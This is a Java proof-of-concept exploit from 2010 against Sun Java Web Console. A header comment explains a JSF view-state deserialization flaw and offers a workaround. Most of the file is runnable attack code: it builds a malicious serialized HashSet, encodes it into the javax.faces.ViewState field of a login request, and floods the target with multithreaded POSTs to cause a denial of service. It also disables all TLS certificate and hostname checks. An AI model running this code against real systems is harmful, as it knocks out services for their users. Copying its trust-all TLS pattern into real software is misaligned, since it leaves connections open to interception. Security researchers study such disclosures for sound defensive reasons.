/* * Sun Java Web Console (SJWC) Denial of Service PoC * Copyright (c) 2010 Luca Carettoni * * SJWC_DoS.java v0.1 - 07 March 2010 * * [Overview] * The current release of SJWC, and likely all previous versions, allow remote * attackers to cause a Denial of Service and potentially code execution via a * Java serialized object injected through the JSF view state mechanism. * * [Description] * SJWC provides a single-sign on homepage for many Sun/Oracle administration * products. Several platform are currently supported: Solaris, Linux, HP-UX and * Windows. SJWC is developed using Java based technologies such as JSP and JSF. * http://www.sun.com/download/products.xml?id=461d58be * * This exploit demonstrates a view state tampering vulnerability in order to cause * Denial of Service. A crafted malicious serialized object is used to pollute the * "javax.faces.ViewState" field. For this Proof-of-Concept, a well-known attack pattern * based on Hashtable collisions (Crosby & Wallach, 2003) is employed. The usage of * such algorithmic complexity attack against remote Java services is credited to Marc * Schonefeld (Pentesting Java/J2EE, 2006). * * This exploit was tested using the following environment: * - Sun Java Web Console 3.1 (JSF 1.2_07-b03-FCS) * - Java JDK 1.6.0_18 * - Red Hat Enterprise Linux AS (release 4, Nahant Update 4) * * Previous SJWC releases are affected as well. However, this exploit should be * slightly modified in order to work against older versions. * * As the entry point of this attack is the JSF view state mechanism, only platforms * having "javax.faces.STATE_SAVING_METHOD" option set to "client" are vulnerable. * This is the default configuration for all SJWC < v3.1. * Even though this is not enabled by default in SJWC = v3.1, some system * administrators use to set the client-side option in order to improve scalability * of the whole system. * * It shall be noted that this specific exploit uses a vulnerability pertains to the JDK only. * However, the JSF framework (and SJWC, in this specific case) provides an interesting * entry point for any Java serialization gadget. * Since the Hashtable collisions attack is neither fixed nor mitigated in the * current JDK and other RCE serialization gadgets may exist, it is strongly suggested * to apply the following workaround in order to protect your JSF-based applications. * * [Workaround] * Either encrypt the view state token or revert to view state server-side storage. * Please refer to http://wiki.glassfish.java.net/Wiki.jsp?page=JavaServerFacesRI * * [Usage] * java -jar SJWC_DoS.jar * */ package sjwc_exploit; import java.net.*; import java.io.*; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; import java.util.zip.GZIPOutputStream; import javax.net.ssl.SSLSession; import java.net.URL; import java.net.URLConnection; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLContext; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import java.security.cert.X509Certificate; import java.util.HashSet; public class SJWC_DoS { private String ip; private String port; private byte[] payload; private String payloadHTTP; private int thr = 20; private int numReq = 12; public SJWC_DoS(String ip, String port) throws IOException, NoSuchAlgorithmException, KeyManagementException { this.ip = ip; this.port = port; // Create a trust manager that does not validate certificate chains TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted(X509Certificate[] certs, String authType) { } public void checkServerTrusted(X509Certificate[] certs, String authType) { } } }; // Install the all-trusting trust manager SSLContext sc = SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); // Create all-trusting host name verifier HostnameVerifier allHostsValid = new HostnameVerifier() { public boolean verify(String hostname, SSLSession session) { return true; } }; // Install the all-trusting host verifier HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid); System.out.println("[*] Checking target connectivity (" + ip + ":" + port + ")"); try { URL url = new URL("https://" + ip + ":" + port); URLConnection con = url.openConnection(); con.setConnectTimeout(10000); con.setReadTimeout(10000); con.connect(); } catch (IOException ex) { System.out.println("[!] Connection error"); System.exit(1); } } public void generate() throws IOException { System.out.println("[*] Building a malicious serialized object"); HashSet hs = new HashSet(1, 0.000000000000001f); int count = 0; while (count < 13) { Object o = new Byte((byte) count); hs.add(o); count++; } ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutput out = new ObjectOutputStream(bos); try { out.writeObject(hs); } finally { out.close(); payload = bos.toByteArray(); } System.out.println("[*] Compressing the payload (GZIP)"); ByteArrayInputStream byteInputStream = new ByteArrayInputStream(payload); ByteArrayOutputStream byteOutputStream = new ByteArrayOutputStream(); try { GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteOutputStream); byte[] buf = new byte[1024]; int len; while ((len = byteInputStream.read(buf)) > 0) { gzipOutputStream.write(buf, 0, len); } gzipOutputStream.close(); byteOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } payload = byteOutputStream.toByteArray(); System.out.println("[*] Encoding the payload (BASE64,URLEncoding)"); payloadHTTP = URLEncoder.encode(Base64.encode(payload), "UTF-8"); System.out.println("[*] Malicious \"javax.faces.ViewState\" generated"); System.out.println("[*] Size:" + payloadHTTP.length() + " chars"); String btemp = ""; for (int cont = 0; cont < payloadHTTP.length(); cont++) { if (cont % 51 == 0) { btemp = btemp + "\n"; } else { btemp = btemp + payloadHTTP.substring(cont, cont + 1); } } btemp = btemp + "\n"; System.out.println("[*] -------------------Preview--------------------"); System.out.println(btemp); System.out.println("[*] ----------------------------------------------"); payloadHTTP = "userLoginForm%3Ausername_field=root&userLoginForm%3A" + "password_field=dump&userLoginForm%3Ahidden=&userLoginForm%3" + "Abutton1=Log+In&userLoginForm_hidden=userLoginForm_hidden&" + "javax.faces.ViewState=" + payloadHTTP; } private class HTTPRequest implements Runnable { Thread t; public HTTPRequest(String name) { t = new Thread(this, name); t.start(); } public void run() { for (int cont = 0; cont < numReq; cont++) { try { URL url = new URL("https://" + ip + ":" + port + "/console/faces/jsp/login/UserLogin.jsp"); URLConnection con = url.openConnection(); con.setDoOutput(true); con.connect(); OutputStreamWriter wr = new OutputStreamWriter(con.getOutputStream()); wr.write(payloadHTTP); wr.flush(); // Get the HTTP response BufferedReader rd = new BufferedReader(new InputStreamReader(con.getInputStream())); rd.close(); wr.close(); } catch (FileNotFoundException fe) { System.out.println("[!] \"/console/faces/jsp/login/UserLogin.jsp\" not found. Are you sure that SJWC is running?"); System.exit(1); } catch (Exception e) { e.printStackTrace(); } } } } public static void main(String[] args) throws IOException, NoSuchAlgorithmException, KeyManagementException { System.out.println("\n--[ Sun Java Web Console (SJWC) Denial of Service PoC ]"); System.out.println("--[ Copyright (c) 2010 Luca Carettoni ]\n"); if (args.length != 2) { System.out.println("[!] Usage: java -jar SJWC_DoS.jar "); System.exit(0); } else { SJWC_DoS exploit = new SJWC_DoS(args[0], args[1]); exploit.generate(); System.out.println("[*] Starting DoS attack using #" + exploit.thr * exploit.numReq + " HTTP requests"); for (int cont = 0; cont < exploit.thr; cont++) { exploit.new HTTPRequest(String.valueOf(cont)); } } } }